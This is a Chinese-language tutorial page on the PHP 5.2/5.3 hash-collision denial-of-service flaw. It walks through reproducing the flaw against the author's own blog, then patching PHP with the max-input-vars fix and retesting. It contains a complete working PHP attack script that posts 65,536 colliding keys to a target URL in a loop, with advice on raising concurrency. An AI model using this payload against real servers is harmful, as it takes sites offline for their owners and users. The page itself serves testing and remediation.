Windows XP Windows 7 Windows 2003 Windows Vista Windows教程綜合 Linux 系統教程
Windows 10 Windows 8 Windows 2008 Windows NT Windows Server 電腦軟件教程
 Windows教程網 >> 電腦軟件教程 >> 服務器技術 >> 關於服務器 >> PHP Hash沖突導致 CPU 100%的完全解決方法

PHP Hash沖突導致 CPU 100%的完全解決方法

日期:2017/2/8 10:16:02      編輯:關於服務器
最近,一直忙於編寫《2012自學CCNP路由與交換課程》,目前寫到了第四章了,所以沒有時間來處理linux平台下的工作,今天抽空研究了一個前不久,出的一個BUG,PHP 5.2/5.3 Hash漏洞,造成一台機器就可以DDOS攻擊互聯網上的PHP網站。

我們先看下環境,這個網站是LAMP架構,PHP版本是5.2.17。

PHP未打補丁前,服務器CPU情況,目前是2.1%的使用率。

    我們在這台web服務器上編寫一個PHP程序,目的是要測試機去Hash它,以便故障重現。
程序語言如下:
<?php
echo $showtime=date("Y-m-d H:i:s");
?>
執行後的效果是取當前服務器的時間。

    找台有PHP環境的測試機器,這台機器我用虛擬機,裡面有LAMP環境。進/usr/local/apache/htdocs目錄,寫一PHP網頁,程序語言如下:
[root@blog htdocs]# Vi hash.php

<?php
$size = pow(2, 16);
$data = '';
for ($key = 0, $maxKey = ($size - 1) * $size; $key <= $maxKey; $key += $size) {
$data .= $key.'=&';
}

$url = 'http://www.liuxxxxx.com/checktime.php';
$rs = array();
$ch = curl_init();
curl_setopt($ch, CURLOPT_HEADER,0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
for ($i=0; $i<100; ++$i)
{
curl_exec($ch);
}
curl_close($ch);
?>

   url地址,為你要作測試的目標機,i<100,表示最多100個並發。手工執行hash.php,進行hash碰撞。
[root@blog htdocs]# /usr/local/php/bin/php hash.php

   在web服務器端,我們去看服務器的資源利用情況,CPU是97.6%,看樣子單台虛擬機,拿100並發去Hash,就足夠把web服務器的CPU利用率升至100%。


    Cpu到了100%,網站是什麼情況呢。我們再浏覽該台web服務器,點網站上面的鏈接,反應正常,估計是這台web服務器本身沒有一點壓力,所以看不出來。把並發量調到10000,再測下,剛才是100並發。

刷新checktime.php頁面,可以很快顯示,網站正常。但此時web服務器cpu已是100%


   結論,我是用個人博客作目標機,因為個人博客,目前只有幾個人訪問,沒有壓力,所以即使,通過10000並發的Hash,CPU上到100%,個人博客打開的速度,還是相當快。

打上補丁,我們再觀察一下。
1、先查下以後在搭建環境時,PHP的編譯參數

2、到網上去下載一個PHP補丁,下載地址為:
https://github.com/laruence/laruence.github.com/tree/master/php-5.2-max-input-vars


3、根據個人平台的版本號,點擊進去,注意,不要在它上面點右鍵,另存為,否則你down下的是一個html文件,文件名倒是php-5.2.17-max-input-vars.patch。
在新彈出的頁面點“raw”,就會打開這個補丁文件。


   把裡面的內容復制,我這裡只截了它一小部分。然後在web服務器上新建一個文件,php-5.2.17-max-input-vars.patch,裡面就是剛復制的。

4、進php的原始安裝目錄,我這裡環境是/opt/soft/php-5.2.17。先把原來已編譯好的一些,清理一下。


5、打補丁並重新編譯一下php

再config
再make ZEND_EXTRA_LIBS='-liconv' //有的平台是make,每個環境不一樣
再make install

6、重啟一下apache,看效果
[root@lghblog php-5.2.17]# pkill httpd
[root@lghblog php-5.2.17]#/usr/local/apache/bin/apachectl start

訪問一下,web服務器的phpinfo.php,查看PHP環境有沒有變化。大家可以在最上面看到,PHP版本後帶了個P1。這個還不夠,我們再用Hash碰撞一下,看cpu會不會上100%。


在測試機上,還是取並發10000,去Hash web服務器。發現web服務器的CPU一直保持在0.5%。

 

問題解決!

Copyright © Windows教程網 All Rights Reserved